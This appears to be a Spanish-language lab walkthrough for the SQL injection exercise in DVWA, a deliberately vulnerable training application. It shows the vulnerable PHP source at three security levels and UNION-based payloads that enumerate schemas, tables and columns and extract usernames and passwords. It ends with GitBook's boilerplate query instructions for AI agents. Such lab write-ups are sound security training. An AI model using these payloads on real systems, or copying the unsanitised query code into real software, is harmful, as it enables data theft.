> For the complete documentation index, see [llms.txt](https://alerodriguezm99.gitbook.io/bariho/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alerodriguezm99.gitbook.io/bariho/walkthrough/dvwa/sql-injection.md).

# SQL Injection

## Low Security Level

{% hint style="info" %}
No tiene medida de seguridad.
{% endhint %}

```php
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>
```

LISTAR **BASE DE DATOS**:

> a' UNION SELECT schema\_name, "2" FROM information\_schema.schemata;-- -

LISTAR **TABLAS**:

> a' UNION SELECT table\_name, "2" FROM information\_schema.tables; -- -

LISTAR **COLUMNAS:**

> a' UNION SELECT column\_name, "2 FROM information\_schema.columns;-- -

LISTAR **USUARIOS:**

> a' UNION SELECT first\_name, password FROM dvwa.users; -- -

## Medium Security Level

{% hint style="warning" %}
Malas practicas de seguridad.
{% endhint %}

```php
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>
```

* ***(CON BURSUITE)***&#x20;

LISTAR **BASE DE DATOS:**

> id= 1 UNION SELECT schema\_name, version() FROM information\_schema.schemata;- -

LISTAR **TABLAS:**

> id= 1 UNION SELECT table\_name, version() FROM information\_schema.tables;- -

LSITAR **COLUMNAS:**

> id= 1 UNION SELECT column\_name, version() FROM information\_schema.columns;- -

LISTAR **USUARIOS:**

> id= 1 UNION SELECT user, password FROM dvwa.users;- -

## High Security Level

{% hint style="danger" %}
Malas prácticas más duras o alternativas.
{% endhint %}

```php
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>
```

**SIMILAR** al *Low Security Level.*

LISTAR **BASE DE DATOS:**

> a' UNION SELECT schema\_name, "2" FROM information\_schema.schemata;-- -

LISTAR **TABLAS:**

> a' UNION SELECT table\_name, "2" FROM information\_schema.tables; -- -

LSITAR **COLUMNAS:**

> a' UNION SELECT column\_name, "2 FROM information\_schema.columns;-- -

LISTAR **USUARIOS:**

> a' UNION SELECT first\_name, password FROM dvwa.users; -- -

## Impossible Security Level

{% hint style="danger" %}
Segura contra todas las vulnerabilidades.
{% endhint %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alerodriguezm99.gitbook.io/bariho/walkthrough/dvwa/sql-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
